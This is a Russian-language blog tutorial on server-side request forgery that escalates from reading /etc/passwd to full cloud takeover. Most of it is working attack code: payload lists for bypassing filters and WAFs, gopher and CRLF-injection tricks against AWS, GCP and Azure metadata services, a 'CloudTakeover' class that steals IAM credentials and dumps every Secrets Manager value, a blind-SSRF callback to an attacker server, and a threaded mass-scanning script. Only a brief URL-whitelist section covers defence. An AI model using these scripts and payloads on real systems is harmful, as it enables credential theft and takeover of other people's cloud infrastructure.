SSRF на максималках: от чтения /etc/passwd до захвата облака
Здравствуйте, дорогие друзья!
Server-Side Request Forgery — это когда ты заставляешь сервер делать запросы от своего имени. Звучит просто? Да, но именно эта уязвимость позволяет творить настоящую магию: от чтения локальных файлов до полного захвата облачной инфраструктуры.
Базовый сценарий: локальные файлы
Классика жанра — чтение /etc/passwd через file:// протокол:
|
1 2 3 4 5 6 |
import requests # Уязвимый параметр url = "https://target.com/fetch?url=file:///etc/passwd" response = requests.get(url) print(response.text) |
Но это детский сад. Давай копнём глубже.
Обход фильтров
Админы часто блокируют очевидные схемы. Вот как их обойти:
|
1 2 3 4 5 6 7 8 9 10 11 |
payloads = [ "http://127.0.0.1/", # Прямое обращение "http://localhost/", # Алиас "http://[::1]/", # IPv6 "http://0.0.0.0/", # Wildcard "http://127.1/", # Короткая форма "http://2130706433/", # Десятичная запись IP "http://0x7f.0x0.0x0.0x1/", # Hex запись "http://127.0.0.1.xip.io/", # DNS wildcard "http://127.0.0.1.nip.io/", # Другой DNS сервис ] |
DNS Rebinding
Продвинутый метод — контроль над DNS, чтобы менять IP на лету:
|
1 2 3 4 5 6 |
# Настройка DNS сервера (упрощённо) # 1-й запрос: возвращаем легальный IP (1.2.3.4) # 2-й запрос: возвращаем 127.0.0.1 # На целевом сервере url = "https://target.com/fetch?url=http://your-rebind-domain.com/admin" |
Эксплуатация облачных метаданных
Тут начинается настоящий хардкор. Облачные провайдеры предоставляют метаданные через HTTP-эндпоинты.
AWS IMDSv1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Получение AWS credentials через SSRF metadata_urls = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/meta-data/iam/security-credentials/", ] # Полный эксплойт import requests def exploit_aws_ssrf(ssrf_endpoint, param_name): # Шаг 1: Получаем имя роли role_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = f"{ssrf_endpoint}?{param_name}={role_url}" response = requests.get(payload) role_name = response.text.strip() # Шаг 2: Получаем credentials creds_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}" payload = f"{ssrf_endpoint}?{param_name}={creds_url}" response = requests.get(payload) return response.json() # Использование creds = exploit_aws_ssrf("https://target.com/fetch", "url") print(f"AccessKeyId: {creds['AccessKeyId']}") print(f"SecretAccessKey: {creds['SecretAccessKey']}") print(f"Token: {creds['Token']}") |
AWS IMDSv2 (с защитой)
IMDSv2 требует токен, но есть обход:
|
1 2 3 4 5 6 7 8 9 10 |
# IMDSv2 требует PUT запрос с заголовком # Ищем SSRF с контролем метода и заголовков # Gopher протокол для создания сложных запросов gopher_payload = """gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0A Host:%20169.254.169.254%0D%0A X-aws-ec2-metadata-token-ttl-seconds:%2021600%0D%0A %0D%0A""" # Затем используем полученный токен |
Google Cloud Platform
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# GCP метаданные gcp_endpoints = [ "http://metadata.google.internal/computeMetadata/v1/", "http://metadata/computeMetadata/v1/", "http://169.254.169.254/computeMetadata/v1/", ] # Требуется заголовок Metadata-Flavor: Google # Ищем SSRF с контролем заголовков def exploit_gcp_ssrf(ssrf_url): # Service Account token token_url = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" # Если можем установить заголовки через CRLF injection payload = f"{ssrf_url}?url={token_url}%0D%0AMetadata-Flavor:%20Google%0D%0A" response = requests.get(payload) return response.json() |
Azure
|
1 2 3 4 5 6 7 |
# Azure метаданные azure_url = "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Managed Identity token token_url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Azure требует заголовок Meta true |
Продвинутые техники
CRLF Injection для контроля заголовков
|
1 2 3 4 5 6 |
# Инъекция CRLF для добавления заголовков payload = "http://169.254.169.254/metadata/instance%0D%0AMeta%20true%0D%0A" # URL-кодирование для обхода фильтров import urllib.parse encoded = urllib.parse.quote(payload, safe='') |
Blind SSRF
Когда не видишь ответ, используй внешний сервер:
|
1 2 3 4 5 6 7 8 |
# Burp Collaborator или свой сервер callback_url = "http://your-server.com/callback" # Тестируем SSRF test_payload = f"https://target.com/fetch?url={callback_url}" # На своём сервере смотри логи # nc -lvp 80 |
Protocol Smuggling
|
1 2 3 4 5 6 7 8 |
# Разные протоколы для разных целей protocols = [ "file:///etc/passwd", # Локальные файлы "dict://127.0.0.1:6379/info", # Redis "gopher://127.0.0.1:3306/_", # MySQL "ftp://internal-server/", # FTP "tftp://192.168.1.1/config", # TFTP ] |
Захват облака: реальный сценарий
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
#!/usr/bin/env python3 import requests import boto3 import json class CloudTakeover: def __init__(self, ssrf_endpoint, param_name): self.ssrf_endpoint = ssrf_endpoint self.param_name = param_name def fetch_via_ssrf(self, internal_url): """Делаем запрос через SSRF""" payload = {self.param_name: internal_url} response = requests.get(self.ssrf_endpoint, params=payload) return response.text def get_aws_credentials(self): """Извлекаем AWS credentials""" # Получаем имя роли role_list = self.fetch_via_ssrf( "http://169.254.169.254/latest/meta-data/iam/security-credentials/" ) role_name = role_list.strip().split('\n')[0] # Получаем credentials creds_json = self.fetch_via_ssrf( f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}" ) return json.loads(creds_json) def enumerate_aws_resources(self, creds): """Перечисляем ресурсы AWS""" session = boto3.Session( aws_access_key_id=creds['AccessKeyId'], aws_secret_access_key=creds['SecretAccessKey'], aws_session_token=creds['Token'] ) # S3 бакеты s3 = session.client('s3') buckets = s3.list_buckets() print(f"[+] Found {len(buckets['Buckets'])} S3 buckets") # EC2 инстансы ec2 = session.client('ec2') instances = ec2.describe_instances() print(f"[+] Found EC2 instances") # RDS базы данных rds = session.client('rds') databases = rds.describe_db_instances() print(f"[+] Found RDS databases") return { 'buckets': buckets, 'instances': instances, 'databases': databases } def exfiltrate_secrets(self, session): """Извлекаем секреты""" secrets = session.client('secretsmanager') secret_list = secrets.list_secrets() for secret in secret_list['SecretList']: secret_value = secrets.get_secret_value( SecretId=secret['ARN'] ) print(f"[!] Secret: {secret['Name']}") print(f" Value: {secret_value['SecretString']}") # Использование takeover = CloudTakeover( ssrf_endpoint="https://target.com/api/fetch", param_name="url" ) creds = takeover.get_aws_credentials() resources = takeover.enumerate_aws_resources(creds) |
Обход защит WAF/Firewall
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# URL encoding payloads = [ "http://127.0.0.1", "http://%31%32%37%2e%30%2e%30%2e%31", # URL encoded "http://127.0.0.1%00.target.com", # Null byte "http://127.0.0.1#@target.com", # Fragment "http://target.com@127.0.0.1", # User info ] # DNS tricks dns_payloads = [ "http://spoofed.burpcollaborator.net", "http://localtest.me", # Резолвится в 127.0.0.1 "http://vcap.me", # Тоже 127.0.0.1 ] |
Автоматизация
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import concurrent.futures import requests def test_ssrf_payload(target, payload): """Тестируем один payload""" try: response = requests.get( f"{target}?url={payload}", timeout=5 ) if "root:" in response.text or "AccessKeyId" in response.text: return (payload, True, response.text[:200]) except: pass return (payload, False, None) def mass_ssrf_test(target, payloads): """Массовое тестирование""" with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [ executor.submit(test_ssrf_payload, target, payload) for payload in payloads ] for future in concurrent.futures.as_completed(futures): payload, success, data = future.result() if success: print(f"[!] SSRF found with payload: {payload}") print(f" Data: {data}") |
Защита (знай врага в лицо)
Чтобы защититься от SSRF:
Whitelist подход
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
from urllib.parse import urlparse ALLOWED_DOMAINS = ['example.com', 'api.example.com'] def validate_url(url): parsed = urlparse(url) # Проверяем схему if parsed.scheme not in ['http', 'https']: return False # Проверяем домен if parsed.hostname not in ALLOWED_DOMAINS: return False # Блокируем приватные IP import ipaddress try: ip = ipaddress.ip_address(parsed.hostname) if ip.is_private or ip.is_loopback: return False except: pass return True |
Network Segmentation
• Разделяй приложения на уровне сети
• Используй firewall rules
• Блокируй доступ к метаданным из приложений
SSRF — это не просто чтение файлов. Это ключ к целой инфраструктуре. Знай эти техники, используй ответственно и всегда тестируй с разрешения.

На этом все. Всем хорошего дня!
